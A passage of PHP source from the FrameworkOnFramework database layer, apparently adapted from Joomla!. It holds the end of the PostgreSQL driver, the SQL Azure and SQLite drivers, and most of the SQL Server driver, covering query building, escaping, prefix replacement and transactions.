$this->setQuery('SELECT RANDOM()');
$random = $this->loadAssoc();
return $random['random'];
}
/**
* Get the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 12.1
*/
public function getAlterDbCharacterSet( $dbName )
{
$query = 'ALTER DATABASE ' . $this->quoteName($dbName) .
' SET CLIENT_ENCODING TO ' . $this->quote('UTF8');
return $query;
}
/**
* Get the query string to create new Database in correct PostgreSQL
syntax.
*
* @param object $options object coming from "initialise"
function to pass user and database name to database driver.
* @param boolean $utf True if the database supports the UTF-8
character set, not used in PostgreSQL "CREATE DATABASE" query.
*
* @return string The query that creates database, owned by
$options['user']
*
* @since 12.1
*/
public function getCreateDbQuery($options, $utf)
{
$query = 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' OWNER ' .
$this->quoteName($options->db_user);
if ($utf)
{
$query .= ' ENCODING ' . $this->quote('UTF-8');
}
return $query;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 12.1
*/
public function replacePrefix($query, $prefix = '#__')
{
$query = trim($query);
if (strpos($query, '\''))
{
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'currval'))
{
$query = explode('currval', $query);
for ($nIndex = 1; $nIndex < count($query); $nIndex = $nIndex + 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('currval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'nextval'))
{
$query = explode('nextval', $query);
for ($nIndex = 1; $nIndex < count($query); $nIndex = $nIndex + 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('nextval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'setval'))
{
$query = explode('setval', $query);
for ($nIndex = 1; $nIndex < count($query); $nIndex = $nIndex + 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('setval', $query);
}
$explodedQuery = explode('\'', $query);
for ($nIndex = 0; $nIndex < count($explodedQuery); $nIndex = $nIndex
+ 2)
{
if (strpos($explodedQuery[$nIndex], $prefix))
{
$explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix,
$explodedQuery[$nIndex]);
}
}
$replacedQuery = implode('\'', $explodedQuery);
}
else
{
$replacedQuery = str_replace($prefix, $this->tablePrefix, $query);
}
return $replacedQuery;
}
/**
* Method to release a savepoint.
*
* @param string $savepointName Savepoint's name to release
*
* @return void
*
* @since 12.1
*/
public function releaseTransactionSavepoint( $savepointName )
{
$this->connect();
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Method to create a savepoint.
*
* @param string $savepointName Savepoint's name to create
*
* @return void
*
* @since 12.1
*/
public function transactionSavepoint( $savepointName )
{
$this->connect();
$this->setQuery('SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Unlocks tables in the database, this command does not exist in
PostgreSQL,
* it is automatically done on commit or rollback.
*
* @return FOFDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function unlockTables()
{
$this->transactionCommit();
return $this;
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 12.1
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$columns = $this->getTableColumns($table);
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) or is_object($v) or $k[0] == '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$key_val = $this->sqlValue($columns, $k, $v);
$where[] = $this->quoteName($k) . '=' . $key_val;
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->sqlValue($columns, $k, $v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(",", $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) pg_result_error_field($this->cursor, PGSQL_DIAG_SQLSTATE)
. ' ';
}
/**
* Return the actual SQL Error message
*
* @param string $query The SQL Query that fails
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage($query)
{
$errorMessage = (string) pg_last_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
$query = str_replace($this->tablePrefix, '#__',
$query);
}
return $errorMessage . "SQL=" . $query;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQL Server database driver
*
* @see http://msdn.microsoft.com/en-us/library/ee336279.aspx
* @since 12.1
*/
class FOFDatabaseDriverSqlazure extends FOFDatabaseDriverSqlsrv
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'sqlazure';
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQLite database driver
*
* @see http://php.net/pdo
* @since 12.1
*/
class FOFDatabaseDriverSqlite extends FOFDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'sqlite';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'sqlite';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 12.1
*/
protected $nameQuote = '`';
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->freeResult();
unset($this->connection);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
$this->freeResult();
unset($this->connection);
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 12.1
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQLite statement.
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
if (is_int($text) || is_float($text))
{
return $text;
}
return SQLite3::escapeString($text);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 12.1
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: Doesn't appear to have support in SQLite
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
return $tables;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info(' . $table .
')');
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->NAME] = $field->TYPE;
}
}
else
{
foreach ($fields as $field)
{
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$columns[$field->NAME] = (object) array(
'Field' => $field->NAME,
'Type' => $field->TYPE,
'Null' => ($field->NOTNULL == '1' ?
'NO' : 'YES'),
'Default' => $field->DFLT_VALUE,
'Key' => ($field->PK != '0' ?
'PRI' : '')
);
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$keys = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info( ' . $table .
')');
// $query->bind(':tableName', $table);
$this->setQuery($query);
$rows = $this->loadObjectList();
foreach ($rows as $column)
{
if ($column->PK == 1)
{
$keys[$column->NAME] = $column;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @return array An array of all the tables in the database.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$type = 'table';
$query = $this->getQuery(true)
->select('name')
->from('sqlite_master')
->where('type = :type')
->bind(':type', $type)
->order('name');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
$this->setQuery("SELECT sqlite_version()");
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
$this->connect();
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return FOFDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function lockTable($table)
{
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Sqlite.
* @param string $prefix Not used by Sqlite.
*
* @return FOFDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME
TO ' . $newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('sqlite', PDO::getAvailableDrivers());
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.3
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQL Server database driver
*
* @see http://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx
* @since 12.1
*/
class FOFDatabaseDriverSqlsrv extends FOFDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'sqlsrv';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mssql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 12.1
*/
protected $nameQuote = '[]';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 12.1
*/
protected $nullDate = '1900-01-01 00:00:00';
/**
* @var string The minimum supported database version.
* @since 12.1
*/
protected static $dbMinimum = '10.50.1600.1';
/**
* Test to see if the SQLSRV connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return (function_exists('sqlsrv_connect'));
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 12.1
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation
parent::__construct($options);
}
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Build the connection configuration array.
$config = array(
'Database' => $this->options['database'],
'uid' => $this->options['user'],
'pwd' => $this->options['password'],
'CharacterSet' => 'UTF-8',
'ReturnDatesAsStrings' => true);
// Make sure the SQLSRV extension for PHP is installed and enabled.
if (!function_exists('sqlsrv_connect'))
{
throw new RuntimeException('PHP extension sqlsrv_connect is not
available.');
}
// Attempt to connect to the server.
if (!($this->connection = @
sqlsrv_connect($this->options['host'], $config)))
{
throw new RuntimeException('Database sqlsrv_connect failed');
}
// Make sure that DB warnings are not returned as errors.
sqlsrv_configure('WarningsReturnAsErrors', 0);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Set charactersets.
$this->utf = $this->setUtf();
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
sqlsrv_close($this->connection);
}
$this->connection = null;
}
/**
* Get table constraints
*
* @param string $tableName The name of the database table.
*
* @return array Any constraints available for the table.
*
* @since 12.1
*/
protected function getTableConstraints($tableName)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery(
'SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS
WHERE TABLE_NAME = ' . $query->quote($tableName)
);
return $this->loadColumn();
}
/**
* Rename constraints.
*
* @param array $constraints Array(strings) of table constraints
* @param string $prefix A string
* @param string $backup A string
*
* @return void
*
* @since 12.1
*/
protected function renameConstraints($constraints = array(), $prefix =
null, $backup = null)
{
$this->connect();
foreach ($constraints as $constraint)
{
$this->setQuery('sp_rename ' . $constraint . ','
. str_replace($prefix, $backup, $constraint));
$this->execute();
}
}
/**
* Method to escape a string for usage in an SQL statement.
*
* The escaping for MSSQL isn't handled in the driver though that
would be nice. Because of this we need
* to handle the escaping ourselves.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
$result = addslashes($text);
$result = str_replace("\'", "''",
$result);
$result = str_replace('\"', '"', $result);
$result = str_replace('\/', '/', $result);
if ($extra)
{
// We need the below str_replace since the search in sql server
doesn't recognize _ character.
$result = str_replace('_', '[_]', $result);
}
return $result;
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 12.1
*/
public function connected()
{
// TODO: Run a blank query here
return true;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 12.1
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
if ($ifExists)
{
$this->setQuery(
'IF EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME = ' . $query->quote($tableName) . ') DROP TABLE
' . $tableName
);
}
else
{
$this->setQuery('DROP TABLE ' . $tableName);
}
$this->execute();
return $this;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 12.1
*/
public function getAffectedRows()
{
$this->connect();
return sqlsrv_rows_affected($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 12.1
*/
public function getCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 12.1
*/
public function getNumRows($cursor = null)
{
$this->connect();
return sqlsrv_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Retrieves field information about the given tables.
*
* @param mixed $table A table name
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$result = array();
$table_temp = $this->replacePrefix((string) $table);
// Set the query to get the table fields statement.
$this->setQuery(
'SELECT column_name as Field, data_type as Type, is_nullable as
\'Null\', column_default as \'Default\'' .
' FROM information_schema.columns WHERE table_name = ' .
$this->quote($table_temp)
);
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace("/[(0-9)]/",
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->Type), "nvarchar"))
{
$field->Default = "";
}
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by MSSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
return '';
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// TODO To implement.
return array();
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SELECT name FROM ' .
$this->getDatabase() . '.sys.Tables WHERE type =
\'U\';');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
$version = sqlsrv_server_info($this->connection);
return $version['SQLServerVersion'];
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 12.1
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
$statement = 'INSERT INTO ' . $this->quoteName($table) .
' (%s) VALUES (%s)';
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
if (!$this->checkFieldExists($table, $k))
{
continue;
}
if ($k[0] == '_')
{
// Internal field
continue;
}
if ($k == $key && $key == 0)
{
continue;
}
$fields[] = $this->quoteName($k);
$values[] = $this->Quote($v);
}
// Set the query and execute the insert.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(',', $values)));
if (!$this->execute())
{
return false;
}
$id = $this->insertid();
if ($key && $id)
{
$object->$key = $id;
}
return true;
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 12.1
*/
public function insertid()
{
$this->connect();
// TODO: SELECT IDENTITY
$this->setQuery('SELECT @@IDENTITY');
return (int) $this->loadResult();
}
/**
* Method to get the first field of the first row of the result set from
the database query.
*
* @return mixed The return value or null if the query failed.
*
* @since 12.1
* @throws RuntimeException
*/
public function loadResult()
{
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get the first row from the result set as an array.
if ($row = sqlsrv_fetch_array($cursor, SQLSRV_FETCH_NUMERIC))
{
$ret = $row[0];
}
// Free up system resources and return.
$this->freeResult($cursor);
// For SQLServer - we need to strip slashes
$ret = stripslashes($ret);
return $ret;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
if (!is_resource($this->connection))
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof FOFDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->limit($query, $this->limit, $this->offset);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
if (class_exists('JLog'))
{
JLog::add($query, JLog::DEBUG, 'databasequery');
}
$this->timings[] = microtime(true);
}
// SQLSrv_num_rows requires a static or keyset cursor.
if (strncmp(ltrim(strtoupper($query)), 'SELECT',
strlen('SELECT')) == 0)
{
$array = array('Scrollable' => SQLSRV_CURSOR_KEYSET);
}
else
{
$array = array();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @sqlsrv_query($this->connection, $query, array(),
$array);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage($query);
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum,
$e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
}
return $this->cursor;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 12.1
*/
public function replacePrefix($query, $prefix = '#__')
{
$startPos = 0;
$literal = '';
$query = trim($query);
$n = strlen($query);
while ($startPos < $n)
{
$ip = strpos($query, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($query, "N'", $startPos);
$k = strpos($query, '"', $startPos);
if (($k !== false) && (($k < $j) || ($j === false)))
{
$quoteChar = '"';
$j = $k;
}
else
{
$quoteChar = "'";
}
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($query,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($query, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $query[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($query, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($query, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!sqlsrv_query($this->connection, 'USE ' . $database,
null, array('scrollable' => SQLSRV_CURSOR_STATIC)))
{
throw new RuntimeException('Could not connect to database');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
